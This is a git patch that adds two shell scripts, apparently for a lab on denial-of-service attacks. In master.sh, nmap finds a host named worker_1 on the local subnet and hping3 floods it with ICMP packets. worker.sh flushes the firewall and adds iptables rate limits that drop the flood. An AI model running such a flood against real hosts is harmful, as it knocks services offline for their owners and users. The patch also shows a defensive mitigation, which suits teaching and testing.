From daeb0f75a6ebc179d66f92625b5ab29af95d6475 Mon Sep 17 00:00:00 2001 From: AndreasNefeli Date: Sat, 23 Jan 2021 21:16:46 +0000 Subject: [PATCH] Upload files to '1. DDos Attack' --- 1. DDos Attack/master.sh | 4 ++++ 1. DDos Attack/worker.sh | 8 ++++++++ 2 files changed, 12 insertions(+) create mode 100644 1. DDos Attack/master.sh create mode 100644 1. DDos Attack/worker.sh diff --git a/1. DDos Attack/master.sh b/1. DDos Attack/master.sh new file mode 100644 index 0000000..a3abd8e --- /dev/null +++ b/1. DDos Attack/master.sh @@ -0,0 +1,4 @@ +my_ip=$(ifconfig eth0 | grep 'inet' | cut -d: -f2 | awk '{print $2}') +network=$(echo $my_ip | sed 's/.[0-9]$/.*/') +worker=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') +sudo hping3 -p 80 --flood --icmp $worker diff --git a/1. DDos Attack/worker.sh b/1. DDos Attack/worker.sh new file mode 100644 index 0000000..64062a3 --- /dev/null +++ b/1. DDos Attack/worker.sh @@ -0,0 +1,8 @@ +my_ip=$(ifconfig eth0 | grep 'inet' | cut -d: -f2 | awk '{print $2}') +sudo iptables -F +sudo timeout 2s tcpdump -i eth0 icmp and src $my_ip +sudo iptables -N icmp_flood +sudo iptables -A INPUT -p icmp -j icmp_flood +sudo iptables -A icmp_flood -m limit --limit 1/s --limit-burst 3 -j RETURN +sudo iptables -A icmp_flood -j DROP +sudo timeout 5s tcpdump -i eth0 icmp and src $my_ip